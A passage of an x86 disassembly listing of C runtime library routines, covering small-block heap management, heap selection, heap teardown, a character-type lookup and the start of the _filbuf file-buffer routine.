		mov	ecx, [ebp+var_8]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, [ebp+var_8]
		add	eax, edx
		mov	[ebp+var_8], eax

loc_42686E:				; CODE XREF: sub_4265D0:loc_42685Dj
		jmp	loc_426782
; ---------------------------------------------------------------------------

loc_426873:				; CODE XREF: sub_4265D0+1B8j
					; sub_4265D0+1C7j
		xor	eax, eax

loc_426875:				; CODE XREF: sub_4265D0+88j
					; sub_4265D0+128j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_4265D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426880	proc near		; CODE XREF: sub_423620+161p
					; sub_423830+2D1p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	[ebp+var_14], 0
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		mov	edx, [ebp+arg_0]
		lea	eax, [edx+ecx*8+18h]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_8]
		xor	edx, edx
		mov	dl, [ecx]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+arg_C]
		jbe	short loc_4268E7
		mov	ecx, [ebp+arg_8]
		mov	dl, byte ptr [ebp+arg_C]
		mov	[ecx], dl
		mov	eax, [ebp+var_C]
		sub	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		add	edx, eax
		mov	eax, [ebp+var_4]
		mov	[eax], edx
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+4], 0F1h
		mov	edx, [ebp+var_14]
		add	edx, 1
		mov	[ebp+var_14], edx
		jmp	loc_4269DD
; ---------------------------------------------------------------------------

loc_4268E7:				; CODE XREF: sub_426880+33j
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+arg_C]
		jnb	loc_4269DD
		mov	ecx, [ebp+arg_8]
		add	ecx, [ebp+arg_C]
		mov	edx, [ebp+arg_4]
		add	edx, 0F8h
		cmp	ecx, edx
		ja	loc_4269DD
		mov	eax, [ebp+arg_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+arg_8]
		add	ecx, [ebp+arg_C]
		mov	[ebp+var_18], ecx
		jmp	short loc_426927
; ---------------------------------------------------------------------------

loc_42691E:				; CODE XREF: sub_426880+BAj
		mov	edx, [ebp+var_10]
		add	edx, 1
		mov	[ebp+var_10], edx

loc_426927:				; CODE XREF: sub_426880+9Cj
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+var_18]
		jnb	short loc_42693C
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		mov	dl, [ecx]
		test	edx, edx
		jnz	short loc_42693C
		jmp	short loc_42691E
; ---------------------------------------------------------------------------

loc_42693C:				; CODE XREF: sub_426880+ADj
					; sub_426880+B8j
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+var_18]
		jnz	loc_4269DD
		mov	ecx, [ebp+arg_8]
		mov	dl, byte ptr [ebp+arg_C]
		mov	[ecx], dl
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		cmp	ecx, [eax]
		ja	short loc_4269C2
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_18]
		cmp	eax, [edx]
		jbe	short loc_4269C2
		mov	ecx, [ebp+arg_4]
		add	ecx, 0F8h
		cmp	[ebp+var_18], ecx
		jnb	short loc_4269AD
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_18]
		mov	[edx], eax
		mov	[ebp+var_8], 0
		jmp	short loc_426995
; ---------------------------------------------------------------------------

loc_426983:				; CODE XREF: sub_426880+120j
		mov	ecx, [ebp+var_8]
		add	ecx, 1
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_18]
		add	edx, 1
		mov	[ebp+var_18], edx

loc_426995:				; CODE XREF: sub_426880+101j
		mov	eax, [ebp+var_18]
		xor	ecx, ecx
		mov	cl, [eax]
		test	ecx, ecx
		jnz	short loc_4269A2
		jmp	short loc_426983
; ---------------------------------------------------------------------------

loc_4269A2:				; CODE XREF: sub_426880+11Ej
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_8]
		mov	[edx+4], eax
		jmp	short loc_4269C2
; ---------------------------------------------------------------------------

loc_4269AD:				; CODE XREF: sub_426880+F0j
		mov	ecx, [ebp+arg_4]
		add	ecx, 8
		mov	edx, [ebp+arg_4]
		mov	[edx], ecx
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+4], 0

loc_4269C2:				; CODE XREF: sub_426880+D8j
					; sub_426880+E2j ...
		mov	ecx, [ebp+var_C]
		sub	ecx, [ebp+arg_C]
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		add	eax, ecx
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax
		mov	edx, [ebp+var_14]
		add	edx, 1
		mov	[ebp+var_14], edx

loc_4269DD:				; CODE XREF: sub_426880+62j
					; sub_426880+6Dj ...
		mov	eax, [ebp+var_14]
		mov	esp, ebp
		pop	ebp
		retn
sub_426880	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4269F0	proc near		; CODE XREF: sub_423E20+89p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		mov	[ebp+var_8], 0
		mov	[ebp+var_1C], offset off_451C78

loc_426A04:				; CODE XREF: sub_4269F0+21Ej
		mov	eax, off_453C98
		cmp	eax, [ebp+var_1C]
		jnz	short loc_426A17
		mov	ecx, [ebp+var_8]
		add	ecx, 1
		mov	[ebp+var_8], ecx

loc_426A17:				; CODE XREF: sub_4269F0+1Cj
		mov	edx, [ebp+var_1C]
		mov	eax, [edx+10h]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0FFFFFFFFh
		jz	loc_426BFF
		mov	[ebp+var_C], 0
		mov	[ebp+var_28], 0
		mov	ecx, [ebp+var_1C]
		mov	edx, [ecx+10h]
		mov	[ebp+var_4], edx
		jmp	short loc_426A58
; ---------------------------------------------------------------------------

loc_426A43:				; CODE XREF: sub_4269F0:loc_426BFAj
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_4]
		add	ecx, 1000h
		mov	[ebp+var_4], ecx

loc_426A58:				; CODE XREF: sub_4269F0+51j
		cmp	[ebp+var_C], 400h
		jge	loc_426BFF
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_1C]
		cmp	dword ptr [eax+edx*8+18h], 0FFFFFFFFh
		jnz	short loc_426AA0
		cmp	[ebp+var_28], 0
		jnz	short loc_426A92
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+var_1C]
		lea	eax, [edx+ecx*8+18h]
		mov	ecx, [ebp+var_1C]
		cmp	[ecx+0Ch], eax
		jz	short loc_426A92
		or	eax, 0FFFFFFFFh
		jmp	loc_426C23
; ---------------------------------------------------------------------------

loc_426A92:				; CODE XREF: sub_4269F0+86j
					; sub_4269F0+98j
		mov	edx, [ebp+var_28]
		add	edx, 1
		mov	[ebp+var_28], edx
		jmp	loc_426BFA
; ---------------------------------------------------------------------------

loc_426AA0:				; CODE XREF: sub_4269F0+80j
		mov	eax, [ebp+var_4]
		add	eax, 0F8h
		mov	ecx, [ebp+var_4]
		cmp	[ecx], eax
		jb	short loc_426AB9
		mov	eax, 0FFFFFFFEh
		jmp	loc_426C23
; ---------------------------------------------------------------------------

loc_426AB9:				; CODE XREF: sub_4269F0+BDj
		mov	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, [edx+0F8h]
		cmp	eax, 0FFh
		jz	short loc_426AD5
		mov	eax, 0FFFFFFFDh
		jmp	loc_426C23
; ---------------------------------------------------------------------------

loc_426AD5:				; CODE XREF: sub_4269F0+D9j
		mov	[ebp+var_10], 0
		mov	[ebp+var_18], 0
		mov	[ebp+var_24], 0
		mov	[ebp+var_20], 0

loc_426AF1:				; CODE XREF: sub_4269F0:loc_426BD2j
		cmp	[ebp+var_10], 0F0h
		jge	loc_426BD7
		mov	ecx, [ebp+var_10]
		mov	edx, [ebp+var_4]
		lea	eax, [edx+ecx+8]
		mov	ecx, [ebp+var_4]
		cmp	eax, [ecx]
		jnz	short loc_426B18
		mov	edx, [ebp+var_18]
		add	edx, 1
		mov	[ebp+var_18], edx

loc_426B18:				; CODE XREF: sub_4269F0+11Dj
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_10]
		xor	ecx, ecx
		mov	cl, [eax+8]
		test	ecx, ecx
		jnz	short loc_426B47
		mov	edx, [ebp+var_24]
		add	edx, 1
		mov	[ebp+var_24], edx
		mov	eax, [ebp+var_20]
		add	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+var_10]
		add	ecx, 1
		mov	[ebp+var_10], ecx
		jmp	loc_426BD2
; ---------------------------------------------------------------------------

loc_426B47:				; CODE XREF: sub_4269F0+135j
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_20]
		cmp	ecx, [eax+edx*8+1Ch]
		jl	short loc_426B60
		mov	eax, 0FFFFFFFCh
		jmp	loc_426C23
; ---------------------------------------------------------------------------

loc_426B60:				; CODE XREF: sub_4269F0+164j
		cmp	[ebp+var_18], 1
		jnz	short loc_426B84
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_20]
		cmp	eax, [edx+4]
		jge	short loc_426B7B
		mov	eax, 0FFFFFFFBh
		jmp	loc_426C23
; ---------------------------------------------------------------------------

loc_426B7B:				; CODE XREF: sub_4269F0+17Fj
		mov	ecx, [ebp+var_18]
		add	ecx, 1
		mov	[ebp+var_18], ecx

loc_426B84:				; CODE XREF: sub_4269F0+174j
		mov	[ebp+var_20], 0
		mov	edx, [ebp+var_10]
		add	edx, 1
		mov	[ebp+var_14], edx
		jmp	short loc_426B9F
; ---------------------------------------------------------------------------

loc_426B96:				; CODE XREF: sub_4269F0:loc_426BCAj
		mov	eax, [ebp+var_14]
		add	eax, 1
		mov	[ebp+var_14], eax

loc_426B9F:				; CODE XREF: sub_4269F0+1A4j
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_10]
		xor	edx, edx
		mov	dl, [ecx+8]
		mov	eax, [ebp+var_10]
		add	eax, edx
		cmp	[ebp+var_14], eax
		jge	short loc_426BCC
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_14]
		xor	edx, edx
		mov	dl, [ecx+8]
		test	edx, edx
		jz	short loc_426BCA
		mov	eax, 0FFFFFFFAh
		jmp	short loc_426C23
; ---------------------------------------------------------------------------

loc_426BCA:				; CODE XREF: sub_4269F0+1D1j
		jmp	short loc_426B96
; ---------------------------------------------------------------------------

loc_426BCC:				; CODE XREF: sub_4269F0+1C2j
		mov	eax, [ebp+var_14]
		mov	[ebp+var_10], eax

loc_426BD2:				; CODE XREF: sub_4269F0+152j
		jmp	loc_426AF1
; ---------------------------------------------------------------------------

loc_426BD7:				; CODE XREF: sub_4269F0+108j
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+var_1C]
		mov	eax, [ebp+var_24]
		cmp	eax, [edx+ecx*8+18h]
		jz	short loc_426BED
		mov	eax, 0FFFFFFF9h
		jmp	short loc_426C23
; ---------------------------------------------------------------------------

loc_426BED:				; CODE XREF: sub_4269F0+1F4j
		cmp	[ebp+var_18], 0
		jnz	short loc_426BFA
		mov	eax, 0FFFFFFF8h
		jmp	short loc_426C23
; ---------------------------------------------------------------------------

loc_426BFA:				; CODE XREF: sub_4269F0+ABj
					; sub_4269F0+201j
		jmp	loc_426A43
; ---------------------------------------------------------------------------

loc_426BFF:				; CODE XREF: sub_4269F0+34j
					; sub_4269F0+6Fj
		mov	ecx, [ebp+var_1C]
		mov	edx, [ecx]
		mov	[ebp+var_1C], edx
		cmp	[ebp+var_1C], offset off_451C78
		jnz	loc_426A04
		cmp	[ebp+var_8], 0
		jnz	short loc_426C21
		mov	eax, 0FFFFFFF7h
		jmp	short loc_426C23
; ---------------------------------------------------------------------------

loc_426C21:				; CODE XREF: sub_4269F0+228j
		xor	eax, eax

loc_426C23:				; CODE XREF: sub_4269F0+9Dj
					; sub_4269F0+C4j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_4269F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426C30	proc near		; CODE XREF: .packed:00423FF2p
					; sub_426C90+1FBp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax], 0
		push	0
		call	dword_4F5370	; GetModuleHandleA
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		xor	edx, edx
		mov	dx, [ecx]
		cmp	edx, 5A4Dh
		jnz	short loc_426C63
		mov	eax, [ebp+var_8]
		cmp	dword ptr [eax+3Ch], 0
		jnz	short loc_426C65

loc_426C63:				; CODE XREF: sub_426C30+28j
		jmp	short loc_426C88
; ---------------------------------------------------------------------------

loc_426C65:				; CODE XREF: sub_426C30+31j
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_8]
		add	edx, [ecx+3Ch]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx+1Ah]
		mov	[eax], dl
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx+1Bh]
		mov	[eax+1], dl

loc_426C88:				; CODE XREF: sub_426C30:loc_426C63j
		mov	esp, ebp
		pop	ebp
		retn
sub_426C30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426C90	proc near		; CODE XREF: sub_426EC0:loc_426EECp

var_1238	= dword	ptr -1238h
var_1234	= dword	ptr -1234h
var_1230	= dword	ptr -1230h
var_122C	= byte ptr -122Ch
var_1128	= byte ptr -1128h
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_88		= dword	ptr -88h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 1238h
		call	sub_41EF80
		mov	[ebp+var_1238],	0
		mov	[ebp+var_98], 94h
		lea	eax, [ebp+var_98]
		push	eax
		call	dword_4F539C	; GetVersionExA
		test	eax, eax
		jz	short loc_426CDE
		cmp	[ebp+var_88], 2
		jnz	short loc_426CDE
		cmp	[ebp+var_94], 5
		jb	short loc_426CDE
		mov	eax, 1
		jmp	loc_426EB0
; ---------------------------------------------------------------------------

loc_426CDE:				; CODE XREF: sub_426C90+30j
					; sub_426C90+39j ...
		push	1090h
		lea	ecx, [ebp+var_1128]
		push	ecx
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		call	dword_4F54B8	; GetEnvironmentVariableA
		test	eax, eax
		jz	loc_426E84
		lea	edx, [ebp+var_1128]
		mov	[ebp+var_4], edx
		jmp	short loc_426D11
; ---------------------------------------------------------------------------

loc_426D08:				; CODE XREF: sub_426C90:loc_426D3Ej
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax

loc_426D11:				; CODE XREF: sub_426C90+76j
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_426D40
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 61h
		jl	short loc_426D3E
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		cmp	eax, 7Ah
		jg	short loc_426D3E
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		add	dl, 0E0h
		mov	eax, [ebp+var_4]
		mov	[eax], dl

loc_426D3E:				; CODE XREF: sub_426C90+94j
					; sub_426C90+9Fj
		jmp	short loc_426D08
; ---------------------------------------------------------------------------

loc_426D40:				; CODE XREF: sub_426C90+89j
		push	16h
		lea	ecx, [ebp+var_1128]
		push	ecx
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_41F5E0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_426D68
		lea	edx, [ebp+var_1128]
		mov	[ebp+var_1238],	edx
		jmp	short loc_426DDB
; ---------------------------------------------------------------------------

loc_426D68:				; CODE XREF: sub_426C90+C8j
		push	104h
		lea	eax, [ebp+var_122C]
		push	eax
		push	0
		call	dword_4F5344	; GetModuleFileNameA
		lea	ecx, [ebp+var_122C]
		mov	[ebp+var_4], ecx
		jmp	short loc_426D90
; ---------------------------------------------------------------------------

loc_426D87:				; CODE XREF: sub_426C90:loc_426DBDj
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx

loc_426D90:				; CODE XREF: sub_426C90+F5j
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_426DBF
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		cmp	eax, 61h
		jl	short loc_426DBD
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 7Ah
		jg	short loc_426DBD
		mov	eax, [ebp+var_4]
		mov	cl, [eax]
		add	cl, 0E0h
		mov	edx, [ebp+var_4]
		mov	[edx], cl

loc_426DBD:				; CODE XREF: sub_426C90+113j
					; sub_426C90+11Ej
		jmp	short loc_426D87
; ---------------------------------------------------------------------------

loc_426DBF:				; CODE XREF: sub_426C90+108j
		lea	eax, [ebp+var_122C]
		push	eax
		lea	ecx, [ebp+var_1128]
		push	ecx
		call	sub_41EBB0
		add	esp, 8
		mov	[ebp+var_1238],	eax

loc_426DDB:				; CODE XREF: sub_426C90+D6j
		cmp	[ebp+var_1238],	0
		jz	loc_426E84
		push	2Ch
		mov	edx, [ebp+var_1238]
		push	edx
		call	sub_41F720
		add	esp, 8
		mov	[ebp+var_1238],	eax
		cmp	[ebp+var_1238],	0
		jz	short loc_426E84
		mov	eax, [ebp+var_1238]
		add	eax, 1
		mov	[ebp+var_1238],	eax
		mov	ecx, [ebp+var_1238]
		mov	[ebp+var_4], ecx

loc_426E20:				; CODE XREF: sub_426C90:loc_426E46j
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_426E48
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 3Bh
		jnz	short loc_426E3D
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax],	0
		jmp	short loc_426E46
; ---------------------------------------------------------------------------

loc_426E3D:				; CODE XREF: sub_426C90+1A3j
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx

loc_426E46:				; CODE XREF: sub_426C90+1ABj
		jmp	short loc_426E20
; ---------------------------------------------------------------------------

loc_426E48:				; CODE XREF: sub_426C90+198j
		push	0Ah
		push	0
		mov	edx, [ebp+var_1238]
		push	edx
		call	sub_41F0F0
		add	esp, 0Ch
		mov	[ebp+var_1230],	eax
		cmp	[ebp+var_1230],	2
		jz	short loc_426E7C
		cmp	[ebp+var_1230],	3
		jz	short loc_426E7C
		cmp	[ebp+var_1230],	1
		jnz	short loc_426E84

loc_426E7C:				; CODE XREF: sub_426C90+1D8j
					; sub_426C90+1E1j
		mov	eax, [ebp+var_1230]
		jmp	short loc_426EB0
; ---------------------------------------------------------------------------

loc_426E84:				; CODE XREF: sub_426C90+67j
					; sub_426C90+152j ...
		lea	eax, [ebp+var_1234]
		push	eax
		call	sub_426C30
		add	esp, 4
		mov	ecx, [ebp+var_1234]
		and	ecx, 0FFh
		cmp	ecx, 6
		jl	short loc_426EAB
		mov	eax, 3
		jmp	short loc_426EB0
; ---------------------------------------------------------------------------

loc_426EAB:				; CODE XREF: sub_426C90+212j
		mov	eax, 2

loc_426EB0:				; CODE XREF: sub_426C90+49j
					; sub_426C90+1F2j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_426C90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426EC0	proc near		; CODE XREF: sub_422100+7Ep

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0
		push	1000h
		xor	eax, eax
		cmp	[ebp+arg_0], 0
		setz	al
		push	eax
		call	dword_4F54C0	; HeapCreate
		mov	dword_4F3AA8, eax
		cmp	dword_4F3AA8, 0
		jnz	short loc_426EEC
		xor	eax, eax
		jmp	short loc_426F4B
; ---------------------------------------------------------------------------

loc_426EEC:				; CODE XREF: sub_426EC0+26j
		call	sub_426C90
		mov	dword_4F3AAC, eax
		cmp	dword_4F3AAC, 3
		jnz	short loc_426F23
		push	3F8h
		call	sub_424080
		add	esp, 4
		test	eax, eax
		jnz	short loc_426F21
		mov	ecx, dword_4F3AA8
		push	ecx
		call	dword_4F54BC	; HeapDestroy
		xor	eax, eax
		jmp	short loc_426F4B
; ---------------------------------------------------------------------------

loc_426F21:				; CODE XREF: sub_426EC0+4Ej
		jmp	short loc_426F46
; ---------------------------------------------------------------------------

loc_426F23:				; CODE XREF: sub_426EC0+3Dj
		cmp	dword_4F3AAC, 2
		jnz	short loc_426F46
		call	sub_425D50
		test	eax, eax
		jnz	short loc_426F46
		mov	edx, dword_4F3AA8
		push	edx
		call	dword_4F54BC	; HeapDestroy
		xor	eax, eax
		jmp	short loc_426F4B
; ---------------------------------------------------------------------------

loc_426F46:				; CODE XREF: sub_426EC0:loc_426F21j
					; sub_426EC0+6Aj ...
		mov	eax, 1

loc_426F4B:				; CODE XREF: sub_426EC0+2Aj
					; sub_426EC0+5Fj ...
		pop	ebp
		retn
sub_426EC0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	dword_4F3AAC, 3
		jnz	loc_426FEA
		mov	eax, dword_4F3AC8
		mov	[ebp-8], eax
		mov	dword ptr [ebp-4], 0
		jmp	short loc_426F7D
; ---------------------------------------------------------------------------

loc_426F74:				; CODE XREF: .packed:00426FD1j
		mov	ecx, [ebp-4]
		add	ecx, 1
		mov	[ebp-4], ecx

loc_426F7D:				; CODE XREF: .packed:00426F72j
		mov	edx, [ebp-4]
		cmp	edx, dword_4F3AC4
		jge	short loc_426FD3
		push	4000h
		push	100000h
		mov	eax, [ebp-8]
		mov	ecx, [eax+0Ch]
		push	ecx
		call	dword_4F54B0	; VirtualFree
		push	8000h
		push	0
		mov	edx, [ebp-8]
		mov	eax, [edx+0Ch]
		push	eax
		call	dword_4F54B0	; VirtualFree
		mov	ecx, [ebp-8]
		mov	edx, [ecx+10h]
		push	edx
		push	0
		mov	eax, dword_4F3AA8
		push	eax
		call	dword_4F5414	; RtlFreeHeap
		mov	ecx, [ebp-8]
		add	ecx, 14h
		mov	[ebp-8], ecx
		jmp	short loc_426F74
; ---------------------------------------------------------------------------

loc_426FD3:				; CODE XREF: .packed:00426F86j
		mov	edx, dword_4F3AC8
		push	edx
		push	0
		mov	eax, dword_4F3AA8
		push	eax
		call	dword_4F5414	; RtlFreeHeap
		jmp	short loc_427028
; ---------------------------------------------------------------------------

loc_426FEA:				; CODE XREF: .packed:00426F5Dj
		cmp	dword_4F3AAC, 2
		jnz	short loc_427028
		mov	dword ptr [ebp-0Ch], offset off_451C78

loc_426FFA:				; CODE XREF: .packed:00427026j
		mov	ecx, [ebp-0Ch]
		cmp	dword ptr [ecx+10h], 0
		jz	short loc_427017
		push	8000h
		push	0
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+10h]
		push	eax
		call	dword_4F54B0	; VirtualFree

loc_427017:				; CODE XREF: .packed:00427001j
		mov	ecx, [ebp-0Ch]
		mov	edx, [ecx]
		mov	[ebp-0Ch], edx
		cmp	dword ptr [ebp-0Ch], offset off_451C78
		jnz	short loc_426FFA

loc_427028:				; CODE XREF: .packed:00426FE8j
					; .packed:00426FF1j
		mov	eax, dword_4F3AA8
		push	eax
		call	dword_4F54BC	; HeapDestroy
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427040	proc near		; CODE XREF: sub_41DF10+66p
					; sub_41E610+19p ...

var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= byte ptr -0Ah
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		add	eax, 1
		cmp	eax, 100h
		ja	short loc_42706A
		mov	ecx, [ebp+arg_0]
		mov	edx, off_453CA4
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, [ebp+arg_4]
		jmp	loc_4270F3
; ---------------------------------------------------------------------------

loc_42706A:				; CODE XREF: sub_427040+11j
		mov	ecx, [ebp+arg_0]
		sar	ecx, 8
		and	ecx, 0FFh
		and	ecx, 0FFh
		mov	edx, off_453CA4
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 8000h
		test	eax, eax
		jz	short loc_4270B3
		mov	ecx, [ebp+arg_0]
		sar	ecx, 8
		and	ecx, 0FFh
		mov	[ebp+var_C], cl
		mov	dl, byte ptr [ebp+arg_0]
		mov	[ebp+var_B], dl
		mov	[ebp+var_A], 0
		mov	[ebp+var_8], 2
		jmp	short loc_4270C4
; ---------------------------------------------------------------------------

loc_4270B3:				; CODE XREF: sub_427040+4Fj
		mov	al, byte ptr [ebp+arg_0]
		mov	[ebp+var_C], al
		mov	[ebp+var_B], 0
		mov	[ebp+var_8], 1

loc_4270C4:				; CODE XREF: sub_427040+71j
		push	1
		push	0
		push	0
		lea	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+var_8]
		push	edx
		lea	eax, [ebp+var_C]
		push	eax
		push	1
		call	sub_431210
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_4270E8
		xor	eax, eax
		jmp	short loc_4270F3
; ---------------------------------------------------------------------------

loc_4270E8:				; CODE XREF: sub_427040+A2j
		mov	eax, [ebp+var_4]
		and	eax, 0FFFFh
		and	eax, [ebp+arg_4]

loc_4270F3:				; CODE XREF: sub_427040+25j
					; sub_427040+A6j
		mov	esp, ebp
		pop	ebp
		retn
sub_427040	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427100	proc near		; CODE XREF: sub_41E1C0+182p
					; sub_41EFB0+D7p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi

loc_427109:				; CODE XREF: sub_427100+31j
		cmp	[ebp+arg_0], 0
		jnz	short loc_42712D
		push	offset dword_43C514
		push	0
		push	69h
		push	offset a_filbuf_c ; "_filbuf.c"
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_42712D
		int	3		; Trap to Debugger

loc_42712D:				; CODE XREF: sub_427100+Dj
					; sub_427100+2Aj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_427109
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	eax, 83h
		test	eax, eax
		jz	short loc_427155
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+0Ch]
		and	edx, 40h
		test	edx, edx
		jz	short loc_42715D

loc_427155:				; CODE XREF: sub_427100+46j
		or	eax, 0FFFFFFFFh
		jmp	loc_4272DD
; ---------------------------------------------------------------------------

loc_42715D:				; CODE XREF: sub_427100+53j
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+0Ch]
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_427180
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		or	al, 20h
		mov	ecx, [ebp+var_4]
		mov	[ecx+0Ch], eax
		or	eax, 0FFFFFFFFh
		jmp	loc_4272DD
; ---------------------------------------------------------------------------

loc_427180:				; CODE XREF: sub_427100+68j
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		or	al, 1
		mov	ecx, [ebp+var_4]
		mov	[ecx+0Ch], eax
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	eax, 10Ch
		test	eax, eax
		jnz	short loc_4271AB
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_4313D0
		add	esp, 4
		jmp	short loc_4271B6
; ---------------------------------------------------------------------------

loc_4271AB:				; CODE XREF: sub_427100+9Bj
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+8]
		mov	[edx], ecx

loc_4271B6:				; CODE XREF: sub_427100+A9j
		mov	edx, [ebp+var_4]
		mov	eax, [edx+18h]
		push	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+8]
		push	edx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+10h]
